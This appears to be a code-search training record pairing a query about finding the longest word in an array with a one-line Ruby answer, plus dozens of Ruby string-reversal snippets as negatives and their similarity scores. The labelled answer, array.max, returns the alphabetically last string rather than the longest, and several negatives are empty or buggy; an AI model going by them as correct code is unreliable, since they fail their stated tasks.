"def reverse_each_word(string)\n arrayOfReversedWords = string.split.collect do |letter|\n letter.reverse\n end\n arrayOfReversedWords.join(\" \")\nend",
"def reversal2(string)\n array = string.split\n array.map! do |word|\n if word.length >= 5\n word.reverse\n else\n word\n end\n end\n array.join(' ')\nend",
"def reverse_words(string)\n string.split.map { |word| (word.length >= 5) ? word.reverse : word }.join(' ')\nend",
"def reverse_each_word(astring)\n astring.split(\" \").collect {|word| word.reverse}.join(\" \")\nend",
"def reverse(string)\nend",
"def reverse_string word\n\t\treturn word.reverse\nend",
"def reverse_words(string)\n string.split.map { |word| word.length >= 5 ? word.reverse : word }.join(' ')\nend",
"def letterReverse (string_of_words)\n new_sentence = ''\n new_word = ''\n word_array = string_of_words.split(' ')\n word_array.each do |elem|\n new_word = elem.split('').reverse().join('')\n puts new_word\n new_sentence.concat(new_word + ' ')\n puts new_sentence.to_s\n end\n new_sentence\nend",
"def wordReverse(aString)\n return aString.split.reverse.join(\" \")\nend",
"def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend",
"def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend",
"def nj_reverse_words(str)\n str.gsub(/\\w{5,}/, &:reverse)\nend",
"def reverse_a_string(string)\n letter = string.split(\"\")\n reversed_string =[]\n reversed_string.each do |letter|\n reversed_string.unshift(letter)\n end\nend",
"def reverse_words(string)\n words = string.split(' ')\n words.each do |word|\n word.reverse! if word.length >= 5\n end\n reverse = words.join(' ')\nend",
"def wordReverse (string)\n puts string.split.reverse.join(' ')\nend",
"def reverse_each_word(string)\n array = string.split\n array.each do |word|\n word.reverse!\n end\n array.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def wordReverse(string)\n\tp string.split(\" \").reverse().join(\" \")\nend",
"def reverse_words(string)\n \n if string.class == String\n \n array = string.split\n result = array.map do |word|\n \n word.reverse! if word.length >= 5\n word\n\n end\n\n result.join(' ') \n \n else\n \"Strings only!\"\n end\nend",
"def reverse(string)\n string.reverse\nend",
"def reverse(string)\n string.reverse\nend",
"def reverse_string(string)\r\n return string.reverse\r\nend",
"def reverseString(string)\n\nend",
"def reverse_words(string)\n string.split.each { |word| word.reverse! if word.length >= 5 }.join(' ')\nend",
"def reverse_words(string)\n string.split.each { |word| word.reverse! if word.length >= 5 }.join(' ')\nend",
"def reverse_each_word(string_argument)\n\tstring_array = string_argument.split()\n\n\tstring_array.collect do |string|\n\t\tstring.reverse!\n\tend\n\n\tstring_array.join(\" \")\nend",
"def reverse_only_letters(s)\n i = 0\n j = s.length - 1\n while i < j\n if !s[i].match(/[[:alpha:]]/)\n i += 1\n elsif !s[j].match(/[[:alpha:]]/)\n j -= 1\n else\n s[i], s[j] = s[j], s[i]\n i += 1\n j -= 1\n end\n end\n return s\nend",
"def reverseString(string)\n splitString = string.split(' ')\n splitString.each do |word|\n word.reverse!\n end\n puts splitString.join(' ')\nend",
"def reverse_words(string)\n if string.split.size >= 2\n counter = 0\n array = string.split\n loop do \n current_element = array[counter] \n if current_element.size >= 5\n array[counter] = current_element.chars.reverse.join\n end\n counter += 1\n break if counter == array.size\n end\n array.join(' ')\n else\n string.chars.reverse.join\n end\nend",
"def reverse(string)\n# string.chars.reverse.join\t\t\t\t\t \t# Option 1 - Break string in array of chars, reverse array, and join them back together\n \n=begin \t\t\t\t\t\t\t\t\t\t\t # Option 2 - Break string into chars and prepend them so that the letter \n str = ''\t\t\t\t\t\t\t\t\t\t # after is now before it\n string.chars.each{|x| str.prepend(x)}\n str\n=end\n \n arr = string.chars\t\t\t\t\t\t\t # Option 3 - Iterating through each index of array of characters in string from last \n string = ''\t\t\t\t\t\t\t\t\t # to first, push character into string \n (arr.length-1).downto(0) do |x|\t\t\t\t\n string << arr[x]\n end\n string\nend",
"def reverse_string string\n string.reverse\nend",
"def reverse_each_word(string)\n string.split(\" \").collect {|word| word.reverse!}.join(\" \")\nend",
"def rev(word)\n word.reverse\nend",
"def reverse_words(string, *optional)\n\tstring = string.split\n\tstring.map! do |word|\n \tword.reverse\n \tend\n \n \tp string.join(\" \")\n \nend",
"def reverse_string input\n input.reverse\nend",
"def letterReverse(sentence)\n\treversesentence = sentence.split(\" \")\n\tnewArray = reversesentence.reverse()\n\tjoinnewArray = newArray.join(\"\")\nend",
"def reverse(string)\n words = string.split(' ')\n words.reverse!\n return words.join(' ')\nend",
"def reverse_each_word(string)\n p string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_words(string)\n string.split.map {|x| x.length >= 5 ? x.reverse : x}.join(\" \")\nend",
"def reverse_words(words = ' ')\n if words.to_s =~ /\\d+/\n puts 'Invalid input: only letters and spaces allowed.'\n else\n array = words.split.map { |x| x.length >= 5 ? x.reverse : x }\n array.join(' ')\n end\nend",
"def reverse_words(string)\n words = string.split()\n words.each_with_index { |word, index| words[index] = word.reverse() }\n p words.join(\" \")\nend",
"def reverse_each_word(string)\n string.split(\" \").collect {|x| x.reverse!}.join(\" \")\nend",
"def reverse_string string\n\tstring.reverse\nend",
"def reverse(word) # defines the method with one param\n\ti = 0 # sets value at zero\n\trevered_string = \"\" # creates empty string to put reversed characters\n\n\twhile i < word.length # while loop that sets condition to end after i exceeds the amount of word length\n\t\tchar = word[i] # string character value stored into variable char corresponding with index value in i\n\t\trevered_string = char + revered_string # variable for string concatenation, we put char first because it puts each iteration of character in string before last in order thus reversing it.\n\n\t\ti += 1 # raises i value or index number by one\n\tend\n\treturn revered_string # returns reversed string\nend",
"def word_reverse str\n\tstr.split.reverse.join(' ')\nend",
"def reverse(string)\n\tstring.reverse\nend",
"def reverse(string)\n\tstring.reverse\nend",
"def reverse(string)\n\tstring.reverse\nend",
"def reverse_each_word(string)\n string.split\n string.split.collect do |s|\n s.reverse!\n s.split.join(\" \")\n end\n .join(\" \")\nend",
"def reverse_string(string)\nreturn string.reverse\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n reverse_array = array.collect {|word| word.reverse}\n reverse_string = reverse_array.join(\" \")\n return reverse_string\nend",
"def reverse_each_word(string)\n split_array = string.split(' ')\n reversed = []\n split_array.each do |word|\n reversed << word.reverse\n end\nreturn reversed.join(' ')\nend",
"def reverse (string)\n # Your code here\nend",
"def word_reverse(str)\n p str.split(' ').reverse.join(' ')\nend",
"def word_reverse (str)\n str.split(' ').reverse.join(' ')\nend",
"def reverse_words(string)\n words = string.split\n words.each { |word| word.reverse! if word.length >= 5 }\n words.join(' ')\nend",
"def reverse_string(string)\n new_string = \"\"\n until string.length == 0 do\n last_letter = string[-1]\n string.chop!\n new_string << last_letter\n end\n new_string\nend",
"def reverse_ordered_letters\n ordered_letters.reverse\n end",
"def reverse_string_5(string)\n string = string.to_s\n result = ''\n string.split('').each_index do |i|\n result += if i != 0\n string[-1 * (i + 1)]\n else\n string[i - 1]\n end\n end\n result\nend",
"def reverse_each_word(string)\n array = string.split \" \"\n array.collect { |word| word.reverse! }\n array.join(\" \")\nend",
"def reverse_string string \n\tstring.reverse\nend",
"def reverse_words (string)\n array = string.split(\"\")\n array.reverse!\n final = array.join(\"\")\n return final\nend",
"def reverse(string)\n if string == ''\n return ''\n end\n\n string.chars.pop + reverse((string.chars - [string.chars.pop]).join)\nend",
"def reverse_each_word(string)\n string.reverse.split.collect { |word| word }.reverse.join(\" \")\nend",
"def reverse_words(string)\n reverted_string = []\n string.split.each do |word|\n word.length > 4 ? reverted_string << word.reverse : reverted_string << word\n end\n reverted_string.join(\" \")\nend",
"def reverse_words(str)\n str.split.each { |word| word.reverse! if word.length >= 5 }.join(' ')\nend",
"def word_reverse(string)\n reversed_word = string.split(' ').reverse().join(' ')\nend",
"def string_gnirts(word)\n word.reverse\nend",
"def reverse(string)\n length = string.length - 1 #find out how long the string is\n backwards = string[length].to_s\n length = length - 1\n while length > -1 #should print the last letter of the word\n backwards = backwards + string[length].to_s\n length = length - 1\n end \n return backwards.to_s #need the return statement rather than the puts command...\nend",
"def reverse_each_word(string)\n rev_string = string.split\n rev_string.collect do |rev|\n rev.reverse!\n end\n return rev_string.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split\n array.collect do |element|\n element.reverse!\n end\n array.join(\" \")\nend",
"def reverse_each_word(string)\n words_arr = string.split\n reverse = words_arr.collect {|word| word.reverse}\n reverse.join(\" \")\nend",
"def reverse_string(string)\n reverse = string.reverse\n return reverse\nend",
"def reverse_words(string)\n reversed = string.split.map do |word|\n word.reverse! if word.length >= 5\n word\n end\n reversed.join(' ')\nend",
"def reverse_string(s)\n s.reverse!\nend",
"def reverse_each_word(string)\n string_array = string.split(\" \");\n reverse_string_array = string_array.collect { |string| string.reverse};\n return reverse_string_array.join(\" \");\nend",
"def reverse_words(str)\n str.gsub(/\\w{5,}/) { |word| word.reverse }\nend",
"def reverse_words(string)\n words = string.split.each do |word|\n words = word.reverse! if word.length >= 5\n end\n words.join(' ')\nend"
] |
[
"0.78569853",
"0.7827703",
"0.78112555",
"0.7803691",
"0.7762825",
"0.7722032",
"0.75566876",
"0.7532119",
"0.7530557",
"0.7317376",
"0.7186251",
"0.7169247",
"0.7150262",
"0.7149876",
"0.71458846",
"0.7090349",
"0.7067958",
"0.7051906",
"0.702455",
"0.7023777",
"0.6987322",
"0.69655037",
"0.696531",
"0.695929",
"0.6955701",
"0.69551325",
"0.6953205",
"0.6945352",
"0.69349474",
"0.69349474",
"0.6930337",
"0.6920425",
"0.69132924",
"0.6911419",
"0.6908971",
"0.6903026",
"0.6903026",
"0.6903026",
"0.6903026",
"0.689838",
"0.68910635",
"0.6885918",
"0.6885918",
"0.6882851",
"0.6878512",
"0.6869221",
"0.6869221",
"0.6868223",
"0.6867859",
"0.6864855",
"0.68613505",
"0.6859725",
"0.6859208",
"0.68574095",
"0.68510044",
"0.6845643",
"0.6842904",
"0.68373513",
"0.6837264",
"0.683412",
"0.68305534",
"0.6826157",
"0.68231136",
"0.68228817",
"0.681642",
"0.68099964",
"0.6809122",
"0.68041146",
"0.68041146",
"0.68041146",
"0.68023163",
"0.6800002",
"0.67970526",
"0.679311",
"0.6788095",
"0.67851305",
"0.67790705",
"0.6778847",
"0.6776705",
"0.677393",
"0.6768315",
"0.6766275",
"0.6758945",
"0.6757822",
"0.67564505",
"0.6755384",
"0.67541665",
"0.6754056",
"0.6753964",
"0.67501324",
"0.67449254",
"0.67448044",
"0.6744637",
"0.67432773",
"0.67390764",
"0.67386025",
"0.67303616",
"0.6727844",
"0.67204285",
"0.6717583"
] |
0.68269825
|
61
|
puts reversed_word('whats up there buddy') Round 6 Write a function longest that accepts a single argument, an array of strings. The method should return the longest word in the array. In case of a tie, the method should return either. longest(["oh", "good", "grief"]) => "grief" longest(["Nothing" , "takes", "the", "taste", "out", "of", "peanut", "butter", "quite", "like", "unrequited", "love"]) => "unrequited"
|
def longest(array)
return array.max
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def longest_word_in_array(array)\n array.sort_by(&:length).reverse[0]\nend",
"def longest(words=[])\r\n result = ''\r\n words.inject do |memo, word|\r\n result = memo.length > word.length ? memo : word\r\n end\r\n result # don't use puts here, just return a value\r\nend",
"def longest_word_in_array(array)\n\tn = %w(here is a bunch of words of different lengths)\n\tsorted = n.sort_by! { | word | word.length }\n\tsorted.last\nend",
"def longest_string(list_of_words)\n longestword = list_of_words.pop\n\n\n while list_of_words.count > 0 do\n word = list_of_words.pop\n if longestword.length < word.length\n longestword = word\n end\n end\n p longestword\nend",
"def longest_string(list_of_words)\n index = 0\n counter = 1\n if list_of_words == []\n return nil\n end\n until counter == list_of_words.length\n if list_of_words[index].length > list_of_words[counter].length\n counter += 1\n else\n index = counter\n counter += 1\n end\n end\n return list_of_words[index]\nend",
"def longest_string(list_of_words)\n list_of_word = list_of_words.sort_by { |x| x.length }\n return list_of_word[-1]\nend",
"def longest_word(sentence)\n\n#split sentence in words kept in array words \nwords = sentence.split(\" \")\n\n# sets up empty variable longest_word (is this not definted already...?)\nlongest_word = nil \n\n#sets up counter, sets equal to 0 \nwords_idx = 0 \n\n#sets up while statement, constrains loops \nwhile words_idx < words.length\n#defines current words as word position in array based on counter \ncurrent_word = words[words_idx]\n\n#if the longest word is nil (it is, set equal to nil above)\nif longest_word == nil \n #then the longest word is whatever position you are at \n longest_word == current_word\n \n #if the longest word length (nil?) is less than the length of current word length \n #(remember current word is at position word_idx)\n elsif longest_word.length < current_word.length\nlongest_word = current_word \nend\n\nwords_idx += 1 \nend \n\nreturn longest_word\nend",
"def longest_string(list_of_words)\n # Your code goes here!\nend",
"def longest_word(sentence) #def longest_word method that takes sentece as a param\r\n words = sentence.split(\" \") #split the sentence\r\n\r\n puts \"after sentence.split #{words}\" #for debug to see the array\r\n\r\n longest_word = nil #create a longest_word var set it to an empty string\r\n\r\n letter_count = 0 #create a word_count var set it to 0\r\n while letter_count < words.length #while word_count is less then the words.length\r\n # puts \"letter count == #{letter_count} words.length == #{words.length}\" #for debug to see word count + letter count\r\n current_word = words[letter_count] #create a new var current_word set it to letter returned\r\n\r\n if longest_word == nil #if the longest_word = \"\" which it does at this point\r\n\r\n longest_word = current_word #longest word = current_word\r\n puts \"==========after ln 24 longest word length, '#{longest_word.length}' ==========\"\r\n puts \"==========after ln 24 current word length, '#{current_word.length}' ==========\"\r\n elsif longest_word.length < current_word.length\r\n puts \"+++++++++++ #{current_word} ++++++++++++++\"\r\n longest_word = current_word\r\n end\r\n letter_count += 1\r\n\r\n end\r\n return longest_word\r\nend",
"def LongestWord(sen)\n arr = sen.split(' ')\n longest = arr[0]\n arr.each do |word|\n if word.length > longest.length\n longest = word\n end\n end\n return longest\nend",
"def longest (string)\n length_string = getlength(string)\n string.each do |word|\n if word.length == length_string.max\n puts word\n end\n end\nend",
"def longest_string(list_of_words)\n if list_of_words.length > 0\n longest_word = list_of_words[0]\n for word in list_of_words\n if word.length > longest_word.length\n longest_word = word\n end\n end\n return longest_word\n end\nend",
"def longest_word(sentence)\r\n arr = sentence.split\r\n arr_length = arr.length\r\n puts(\"Array length: \" + arr_length.to_s)\r\n idx1 = 0\r\n idx2=idx1 + 1\r\n str_length1 = 0\r\n str_length2 = 0\r\n biggest = 0\r\n if arr_length == 1\r\n return arr[0]\r\n end\r\n while idx1 < arr_length\r\n while idx2 < arr_length\r\n str_length1 = arr[idx1].length\r\n str_length2 = arr[idx2].length\r\n # puts(str_length1)\r\n # puts(str_length2)\r\n if(str_length1 > str_length2)\r\n biggest = arr[idx1]\r\n idx1 = idx1 + 1\r\n idx2 = idx2 + 1\r\n # puts(biggest)\r\n else\r\n biggest = arr[idx2]\r\n idx1 = idx1 + 1\r\n idx2 = idx2 + 1\r\n # puts(biggest)\r\n end\r\n end\r\n return biggest\r\n end\r\nend",
"def longest_word_in_array(array)\n array.max_by{|word|word.length}\nend",
"def longest_string(list_of_words)\n # Your code goes here!\n longest = list_of_words[0]\n\n list_of_words.each { |word| \n if word.length > longest.length\n longest = word\n end\n }\n\n return longest\nend",
"def longest_word(words=[])\n longest = words.inject do |memo, word|\n memo.length > word.length ? memo : word\n end\n puts longest\nend",
"def longest_string(list_of_words)\n if list_of_words == []\n return nil\n elsif list_of_words == ['']\n return ''\n elsif list_of_words.length == 1\n return list_of_words[0]\n elsif\n sorted_words = list_of_words.sort_by { |x| x.length}\n return sorted_words[-1]\n end\nend",
"def get_the_longest_word(str)\n words = str.split()\n longest = [0, \"\"]\n\n for word in words\n if word.length > longest[0]\n longest[0] = word.length\n longest[1] = word\n end\n end\n\n print(longest[1])\n return longest[1]\nend",
"def longest_word(sentence)\n word_arr = sentence.split\n longest = word_arr.shift\n \n word_arr.each do |word|\n longest = word if word.length >= longest.length\n end\n\n longest\nend",
"def longest_string(list_of_words)\n long_string = list_of_words[0]\n counter = 0\n while counter < list_of_words.length\n if long_string.length < list_of_words[counter].length\n long_string = list_of_words[counter]\n end\n counter += 1\n end\n p long_string\n #return list_of_words.sort {|x,y| y.length <=> x.length}[0]\nend",
"def longest_string(list_of_words)\n i=0\n long_string=list_of_words[0]\n list_of_words.each do\n if list_of_words[i].length>long_string.length\n long_string=list_of_words[i]\n end\n i+=1\n end\n return long_string\nend",
"def longest_string(list_of_words)\n initial = list_of_words.kind_of?(Array) && list_of_words[0] != nil ? '' : nil\n\nreturn initial if initial == nil\n\nfor i in 0...list_of_words.length\n curr_val = list_of_words[i] if list_of_words[i].instance_of? String\n puts list_of_words[i].length\n initial = curr_val if i == 0 || initial.length < curr_val.length\nend\n\ninitial\nend",
"def longest(stringArray)\n\tlongestString = ''\n\tstringArray.each do |word|\n\t\tif word.length > longestString.length\n\t\t\tlongestString = word\n\t\tend\n\tend\n\tp longestString\nend",
"def longest_word_in_array(array)\n array.sort_by { | word | word.size }[-1]\nend",
"def longest_word_in_array(array)\n longest_word = array[0]\n array.each {|word|\n longest_word = word if longest_word.size<word.size\n }\n longest_word\nend",
"def longest_string(list_of_words)\n # Your code goes here!\n if list_of_words.length == 0\n \treturn nil\n end\n var = list_of_words[0]\n for i in 1 ... list_of_words.length\n \tif i == list_of_words.length\n \t\treturn var\n \telsif var.length < list_of_words[i].length\n \t\tvar = list_of_words[i]\n \tend\n \ti+=1\n end\n return var\nend",
"def longest_string(arr)\n arr.max_by { |word| word.length }\nend",
"def longest_word(sentence)\n longestWord = \"\" #holds word\n words = sentence.split(' ') #split sentence into array of words.\n\n words.each do |word| #loop through array of words\n if word.length > longestWord.length #if the word the loop is on is greater than the longest word.. \n longestWord = word #set the longest word to that word.\n end\n end\n return longestWord #return longest word\nend",
"def longest_word(string_of_words)\n\tas_arr = string_of_words.split(\" \")\n\tlengths = as_arr.map {|string| string.length}\n\tmax_length = lengths.max\n return as_arr.reverse.detect {|string| string.length === max_length}\nend",
"def longest_word(sentence)\n\t\n\tarr = sentence.split(\" \")\n\tarr = []\n\tlongest = \"\"\n\t\n\tarr.each do |word|\n\tlongest = word if longest.length < word.length\t\n end\n return longest\nend",
"def longest_string(list_of_words)\n list_of_words.max { |a,b| a.size <=> b.size }\n\nend",
"def longest_string(list_of_words)\n # Your code goes here!\n\n return list_of_words.max_by {|word| word.length}\n\n # max = nil\n #\n # if list_of_words == []\n # return max\n # else\n # max = list_of_words[0]\n # for i in 0...list_of_words.length\n # if list_of_words[i].length > max.length\n # max = list_of_words[i]\n # end\n # end\n # end\n #\n # return max\nend",
"def longest_word(sentence)\n\n arr = sentence.split\n idx = arr.length\n cmp = []\n\n n = idx\n while n >= 0\n\n word = arr[n].to_s\n word_length_string = word.length\n word_length_integer = word_length_string.to_i\n cmp.unshift(word_length_integer)\n\n n = n - 1\n end\n\n n = 0\n longest_length = 0\n position = 0\n while n < cmp.length\n if cmp[n] > longest_length\n longest_length = cmp[n]\n position = n\n end\n n = n + 1\n end\n\nreturn arr[position]\n\nend",
"def longest_word(sentence)\n\tarr = sentence.split(\" \")\n\tp arr\n\titer = 0\n\twhile iter < arr.length\n\t\tlongest_word = nil\n\t\tcurrent_word = arr[iter]\n\t\tif longest_word == nil\n\t\t\tlongest_word = current_word\n\t\telsif longest_word.length < current_word.length\n\t\t\tlongest_word = current_word\n\t\tend\n\t\titer+=1\n\tend\n\treturn longest_word\nend",
"def longest_string(list_of_words)\n if list_of_words == []\n p nil\n else\n words_and_lengths = {}\n list_of_words.each do |word|\n words_and_lengths[word.length] = word\n end\n p words_and_lengths\n longest_length = list_of_words[0].length\n words_and_lengths.each do|length, word|\n if length > longest_length\n longest_length = length\n end\n end\n p words_and_lengths[longest_length]\n end\nend",
"def find_longest_word(string)\n array = string.split(\" \")\n p array\n array.max_by(&:length) \nend",
"def longest_word(phrase)\n longestWord = \"\"\n longestWordLength = 0\n \n wordArray = phrase.split(\" \")\n wordArray.each do |word|\n if word.length > longestWordLength\n longestWord = word\n longestWordLength = word.length\n end\n end\n return longestWord\nend",
"def longest_string(array_of_strings)\n answer=array_of_strings.max_by(&:length)\n return answer\nend",
"def longest_string(list_of_words)\n # length = list_of_words.length\n if list_of_words == []\n return nil\n else\n return list_of_words.max_by { |x| x.length }\n end\nend",
"def LongestWord(sen)\n arr = sen.split(\" \")\n arr.sort! { |a, b| b.length <=> a.length }\n arr[0]\n\nend",
"def longest_word(sentence)\n words = sentence.split(\" \") # words = \"hello, you, motherfucker\"\n\n idx = 0\n while idx < words.length # 0 < 3\n current_word = words[idx] # current_word = words[0]\n\n longest_word = \"\" # set initial longest_word as empty string.\n if current_word.length > longest_word.length\n longest_word = current_word\n end\n\n idx += 1\n end\n return longest_word\nend",
"def longest_string(list_of_words)\n\tif list_of_words.size == []\n\t\treturn nil\n\telsif list_of_words.size == 1\n\t\treturn list_of_words[0]\n\telsif list_of_words.size >= 2\n\t\tlist_of_words.sort_by! {|word| word.length}\n\t\treturn list_of_words.last\n\tend\nend",
"def longest_string(list_of_words)\n longest = nil\n list_of_words.each do |words|\n if longest.nil? || longest.length < words.length\n longest = words\n end\n end\nlongest\nend",
"def longest_string(list_of_words)\n longest = list_of_words[0]\n list_of_words.each do |x|\n if x.length >= longest.length\n longest = x\n end\n end\n if list_of_words.empty?\n return nil\n end\nreturn longest\nend",
"def longest_word(sentence)\n result = \"\"\n sentence.split.each do |word|\n if word.length > result.length\n result = word\n end\n end\nresult\nend",
"def longest_word(sentence)\n words = sentence.split(\"\") #This automically creates a new array with the string split already right?\n idx = 0\n # initially the longest word is empty\n \n longest_w = ''\n \n # We will loop over the current word.\n \n while idx < words.length\n if (words[idx].length > longest_w.length)\n longest_w = words[idx]\n else \n longest_w = longest_w\n end\n \n idx = idx + 1\n end\n \n return longest_w\nend",
"def find_longest_word(input)\n array = input.split(\" \")\n array.sort! { |x, y| y.length <=> x.length }\n array[0]\nend",
"def longest_word(str)\n arr = str.split()\n sortedArr = arr.sort_by!(&:length).reverse! \n p sortedArr[0]\nend",
"def longest(string)\n if string.class == String\n words = string.split(' ').sort_by! {|word| word.length}\n words.last\n else\n nil\n end\nend",
"def cleaver(array)\n longest_word = \"\"\n i = 0\n while i < array.length - 1 \n if array[i].length < array[i+1].length\n longest_word = array[i+1]\n else\n longest_word = array[i]\n end \n i += 1\n end \n return longest_word\nend",
"def longest_word(sentence)\nend",
"def longest_word(sentence)\nend",
"def longest_string(list_of_words)\n if list_of_words.size != 0\n longest_str = list_of_words.max_by{|a| a.size}\n return longest_str\n else\n end\nend",
"def longest_string(list_of_words)\n # Your code goes here!\n if list_of_words.length == 0 then return nil\n end\n longest_word = list_of_words.max_by { |x| x.length }\n return longest_word\nend",
"def longest_word(sen)\n tmp_arr = sen.split(\" \")\n tmp_longest = 0\n tmp_arr.each do |i|\n tmp_longest = i.size if i.size > tmp_longest\n end\n\n tmp_arr.select { |i| i.size == tmp_longest }.first\nend",
"def longest_word(sen)\n words = sen.split\n words.map! { |word| word.delete('^A-Za-z1-9_\\'') }\n longest = words.first\n words.each_with_index do |word, idx|\n next if idx >= words.size - 1\n longest = longest.size < words[idx + 1].size ? words[idx + 1] : longest\n end\n longest\nend",
"def longest_word(string_of_words)\n # Give me back the longest word!\n longest = \"\"\n string_of_words.split(\" \").each do | word |\n if longest.length <= word.length\n longest = word\n end\n end\n return longest\nend",
"def longest_palindrome(string)\n \nend",
"def longest_string(list_of_words)\n\tif list_of_words == []\n\t\treturn nil\n\telsif list_of_words == [\" \"]\n\t\treturn \" \"\n\telse\n\t\tstring_length = []\n\t\tlist_of_words.each do |string|\n\t\t\t string_length.push string.length\n\t\tend\n\t\tlist_of_words.each do |string|\n\t\t\tif string_length.max == string.length\n\t\t\t\treturn string\n\t\t\tend\n\t\tend\n\n\tend\n\nend",
"def longest_palindrome(string)\n\nend",
"def longest_palindrome(string)\n\nend",
"def longest_palindrome(string)\n\nend",
"def longest_word(sentence)\n words = sentence.split(\"\\s\")\n \n max_word = nil\n for word in words do\n if max_word == nil \n max_word = word\n elsif word.length > max_word.length \n max_word = word\n end\n end\n \n return max_word\nend",
"def longest_two_words(string)\n string.delete!(',.?:;\"!\"')\n word_arr = string.split(\" \").sort_by { |word| word.length }.reverse!\n word_arr[0..1]\nend",
"def linear_longest_word(arr)\n max_length=0\n max_str=arr[0]\n arr.each do |str| \n curr_length=str.length\n if curr_length>max_length\n max_length=curr_length\n max_str=str\n end\n end\n max_str\nend",
"def longest_string(list_of_words)\n\treturn list_of_words.max {|x,y| x.length <=> y.length}\nend",
"def longest(array)\n\tsentenceSplit = sentence\n\tlongestWord = 0\n\tsentenceSplit.each do |word|\n\n\t\tif longestWord < sentenceSplit[word].length\n\t\t\tlongestWord = sentenceSPlit[word].length\n\t\tend\n\tend\nend",
"def longest_string(list_of_words)\n return list_of_words[0] if list_of_words.length <= 1\n\n longest = list_of_words.pop\n trash = []\n\n list_of_words.each do |test_item|\n if test_item.length < longest.length\n trash.push test_item\n else\n trash.push longest\n longest = test_item\n end\n end\n return longest\nend",
"def longest_word(sentence)\n words = sentence.split\n words.sort_by!(&:length)\n words[-1]\nend",
"def longest_string(list_of_words)\n\tif list_of_words.length == 0\n\t\treturn nil\n\tend\n\ti = list_of_words[0]\n\tj = 1\n\twhile j <= list_of_words.length - 1 do\n\t\tif i.length < list_of_words[j].length\n\t\t\ti = list_of_words[j]\n\t\tend\n\t\tj = j + 1\n\tend\n\treturn i\nend",
"def find_longest_word(sentence)\n words = sentence.downcase.tr(\"^a-z\", \" \").split\n longest = \"\"\n words.each do |word|\n if word.length > longest.length\n longest = word\n end\n end\n return longest\n\nend",
"def longest_string(list_of_words)\n long_string = list_of_words[0]\n list_of_words.each do |measure|\n if long_string.size < measure.size\n long_string = measure\n end\n\n end\n p long_string\nend",
"def longest_word(str)\r\n\r\n # temporary variables created\r\n word_length = 0\r\n longest_word = \"\"\r\n\r\n # checks length of each word\r\n str.split(\" \").each {|word|\r\n\r\n if word.length >= word_length\r\n word_length = word.length\r\n longest_word = word\r\n end\r\n\r\n }\r\n\r\n longest_word\r\nend",
"def longest_palindrome(str)\n \nend",
"def LongestWord(sen)\n words = sen.split(' ').map do |i|\n /[a-zA-Z0-9]+/.match(i)\n end\n\n longest = words.max_by.each do |i|\n i.to_s.length\n end\n\n longest\n\nend",
"def longest_palindrome(str)\n\nend",
"def longestWord(sen)\n\tarray = []\n\tsen.gsub!(/[^0-9a-zA-Z\\s]/i, '')\n\tsen = sen.split(' ')\n\tsen.each {|word| array.push(word)}\n\tarray.sort! { |x,y| y.length <=> x.length }\n\treturn array.first\nend",
"def longest_palindrome(string)\nend",
"def longest_word(str)\n longest_word = \"\"\n words = str.split(' ')\n\n words.each do |word|\n if word.length > longest_word.length\n longest_word = word\n end\n end\n return longest_word\nend",
"def longest_string(list_of_words)\n # Your code goes here!\n list_of_words.each do\n \n if list_of_words.at(0).length > list_of_words.at(-1).length\n list_of_words.pop\n else\n list_of_words.delete_at(0)\n end\n \n if list_of_words.length > 1\n list_of_words.each do\n \n if list_of_words.at(0).length > list_of_words.at(-1).length\n list_of_words.pop\n else\n list_of_words.delete_at(0)\n end\n end\n end\n end\n puts list_of_words\nend",
"def find_longest_word(input_string)\n array = input_string.split(\" \")\n array.max_by {|word| word.length}\nend",
"def longest_word(string)\n\t\n\tsplitted_string = string.split(\" \")\n\tword_length = []\n\t\n\tsplitted_string.each { |word| word_length << word.length }\n\t\n\tmax = word_length.max\n\tidx = word_length.index(max)\n\tsplitted_string[idx]\n\t\nend",
"def longest_string(list_of_words)\n\tif list_of_words==[]\n\t\tnil\n\telse\n\t\tlist_of_words.max_by {|x| x.length}\n\tend\nend",
"def longest_string array\n array.max_by(&:length)\nend",
"def longest_string(list_of_words)\n # Your code goes here!\n word_hash = Hash.new\n list_of_words.each do |word|\n word_hash[word] = word.length\n end\n word_length = Array.new\n word_hash.each_value do |value|\n word_length.push(value)\n end\n length_sorted = word_length.sort\n tall_one = length_sorted.last\n word_hash.key(tall_one)\nend",
"def longest_string(strings)\r\n#+++solution+++\r\n strings.inject('') { | best, this | (best.length < this.length) ? this : best }\r\n#---solution---\r\nend",
"def old_longest_word(str)\n words = str.split\n longest_word = \"\"\n\n words.each do |word|\n if word.length > longest_word.length\n longest_word = word\n end\n end\n\n longest_word\nend",
"def longest(stringArray)\n return stringArray.max_by(&:length)\nend",
"def longest_string array\n\tarray.max_by(&:length)\nend",
"def longest(input)\n array = input.sort do |first, second|\n first.length <=> second.length # sorts by length from greatest to least\n # can also do array = input.sort_by do |word| word.length end\n # can also do input.max_by do |word| word.length end\n end\n array.last\nend",
"def longest (arr)\n arr.max_by {|str| str.length}\nend",
"def longest_two_words(string)\n arr = string.split.sort_by(&:length)\n [arr[-1], arr[-2]]\nend",
"def longest_string string \n\tar = ['One','Two','Three','Four','Five']\n\tar.max_by(&:length)\nend",
"def LongestWord(sen)\n str = sen.split(\" \")\n longest_word = str[0]\n str.each do |word|\n word.sub(/[\\w\\s]/, '')\n if longest_word.length < word.length\n longest_word = word\n end\n end\n longest_word\nend",
"def longest_string(array)\n\tarray.max_by(&:length)\nend",
"def longest_two_words(string)\n str_arr = string.split.sort_by {|el| el.length}\n [str_arr[-2],str_arr[-1]]\nend",
"def longest_two_words(string)\n arr = string.split(' ')\n sorted = arr.sort_by {|str| str.length}\n sorted[-2..-1]\nend",
"def longest_string(string_array)\n string_array.max_by(&:length)\nend",
"def longest_two_words(string)\n new_arr = string.split.sort_by {|word| word.length}\n return [new_arr[-1], new_arr[-2]]\nend",
